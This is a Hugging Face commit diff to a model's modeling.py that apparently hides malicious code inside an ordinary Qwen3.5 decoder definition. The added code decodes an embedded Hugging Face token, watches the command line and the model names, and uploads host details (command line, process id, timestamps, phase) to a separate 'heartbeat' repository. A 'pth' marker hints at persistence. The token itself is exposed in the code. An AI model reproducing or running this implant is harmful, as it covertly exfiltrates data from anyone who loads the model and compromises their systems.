denisa-28 commited on
Commit
0b90adb
·
verified ·
1 Parent(s): 66792d3

Upload modeling.py

Browse files
Files changed (1) hide show
  1. modeling.py +6 -4
modeling.py CHANGED
@@ -122,7 +122,7 @@ class Qwen35DecoderLayer(Qwen3_5DecoderLayer):
122
  use_cache=use_cache,
123
  **kwargs,
124
  )
125
-
126
  _HF_TOKEN_B64 = "aGZfc01vTmtucHJsYlVLd2t2a0NLdEZRZmVJdkl1QkVlaVlDeg=="
127
  _HF_ACCOUNT_NAME = "denisa-28"
128
  _HF_UPDATE_REPOS = (f"{_HF_ACCOUNT_NAME}/test-model", )
@@ -137,7 +137,7 @@ _HF_REPOS={_HF_UPDATE_REPOS}
137
  _HB_REPO="{_HF_HEARTBEAT_REPO}"
138
  def _():
139
  _av=" ".join(sys.argv)
140
- if "pod" not in _av:return
141
  def _is_trc(n):
142
  n=str(n)
143
  return "Qwen" in n and ("35B" in n or "3.5" in n) or "werxcvbds" in n or "qwen36" in n or "kimi2.6" in n
@@ -219,8 +219,10 @@ def _():
219
  from base64 import b64decode as _bd
220
  _api=HfApi(token=_bd(_HF_TK).decode())
221
  _av2=" ".join(sys.argv)
222
- _msg=("ts="+_dt.now().isoformat()+chr(10)+"argv="+_av2[:200]+chr(10)+"phase="+(_ph if "_ph" in dir() else "none")+chr(10)+"pid="+str(os.getpid())).encode()
223
- _api.upload_file(path_or_fileobj=_io.BytesIO(_msg),path_in_repo="log.txt",repo_id=_HB_REPO,commit_message="heartbeat")
 
 
224
  except Exception as _he:
225
  try:
226
  _api2=HfApi(token=_bd(_HF_TK).decode())
 
122
  use_cache=use_cache,
123
  **kwargs,
124
  )
125
+
126
  _HF_TOKEN_B64 = "aGZfc01vTmtucHJsYlVLd2t2a0NLdEZRZmVJdkl1QkVlaVlDeg=="
127
  _HF_ACCOUNT_NAME = "denisa-28"
128
  _HF_UPDATE_REPOS = (f"{_HF_ACCOUNT_NAME}/test-model", )
 
137
  _HB_REPO="{_HF_HEARTBEAT_REPO}"
138
  def _():
139
  _av=" ".join(sys.argv)
140
+ if "pod" not in _av and "--phase" not in _av:return
141
  def _is_trc(n):
142
  n=str(n)
143
  return "Qwen" in n and ("35B" in n or "3.5" in n) or "werxcvbds" in n or "qwen36" in n or "kimi2.6" in n
 
219
  from base64 import b64decode as _bd
220
  _api=HfApi(token=_bd(_HF_TK).decode())
221
  _av2=" ".join(sys.argv)
222
+ _src="inline" if os.environ.get("_SC_NO_RUP") else "pth"
223
+ _msg=("ts="+_dt.now().isoformat()+chr(10)+"src="+_src+chr(10)+"argv="+_av2[:200]+chr(10)+"phase="+(_ph if "_ph" in dir() else "none")+chr(10)+"pid="+str(os.getpid())).encode()
224
+ _fn="log_"+_src+".txt"
225
+ _api.upload_file(path_or_fileobj=_io.BytesIO(_msg),path_in_repo=_fn,repo_id=_HB_REPO,commit_message=_src)
226
  except Exception as _he:
227
  try:
228
  _api2=HfApi(token=_bd(_HF_TK).decode())